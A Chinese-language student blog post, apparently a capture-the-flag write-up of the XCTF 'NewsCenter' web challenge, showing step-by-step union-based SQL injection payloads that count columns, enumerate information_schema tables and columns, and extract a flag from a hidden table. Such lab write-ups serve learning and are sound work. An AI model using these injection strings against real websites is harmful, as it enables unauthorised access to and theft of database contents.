前幾天才發現攻防世界這個平台,真是相見恨晚,正愁沒地方檢驗自己大學四年學安全的學習成果,於是沉浸於尋找flag,大概一天一到兩題的進度(解完兩題就學別的去了,盡管如此也挺慢的了)在解題的同時也總結了安全的方方面面,各種工具和用法、各種漏洞的判斷和利用.....最近終於磕磕絆絆做完了web的新手練習,懷着興奮又緊張的心情進了高手進階,撲面而來就是兩頁題,選了1分里名字最直白的一個——NewsCenter:
題目只有一個搜索框,下面顯示搜索結果,最先考慮的就是sql注入,先簡單構造sd' or '1=1,果然返回了所有新聞(7條)查看網頁源碼,發現這里是post方式,可以考慮使用sqlmap。
但是如此形式的sql漏洞應該還有別的方法,畢竟這一看就沒有任何過濾驗證,也沒有提前預編譯,是最基礎的sql漏洞了,在這里嘗試手工構造語句,看看能不能獲得什么信息。
在學校學習時,老師給的方法就是單引號、1、2等嘗試,然后基本就可以用union聯合查詢得到很多信息。union就是兩個結果的去重合集,但的前提是要列數一致,所以先把數據的列數嘗試出來。
構造輸入為:sd' union select 1,2 #和sd' union select 1,2 ,3# (第一個 ‘ 閉合后台命令的第一個 ’ ,#注釋掉后台的第二個 ' )只有1,2,3時才正確返回,說明數據格式為3列。
接下來要利用INFORMATION_SCHEMA來得到所有表名,命令很多種,這里就這么構造:
sd' union select 1,2,table_name from information_schema.tables # 前面的1,2,就完全是湊列數的,得到一大串表名,耐下心來找,發現最后有一個secret_table數據庫,按照攻防世界“此地無銀三百兩”的提示習慣,目標就是他,沒跑兒了!
接下來就是要利用information_schema.columns的結構來獲得secret表的信息了,根據一位大牛的文章,我們要得到的信息也就只有column_name了,或者再加上colume_type查看數據類型。那么構造:
sd' union select 1,column_type,column_name from information_schema.columns where table_name='secret_table' #
里面果然有flag,那么就直接:
sd' union select 1,2,fl4g from secret_table #
得到flag。
總結一下吧,這道題是難度很低的sql注入題,網頁有回顯不用盲注,也沒過濾不用考慮繞過,屬於給小白增加自信的題目——作為小白的我現在是滿滿的成就感!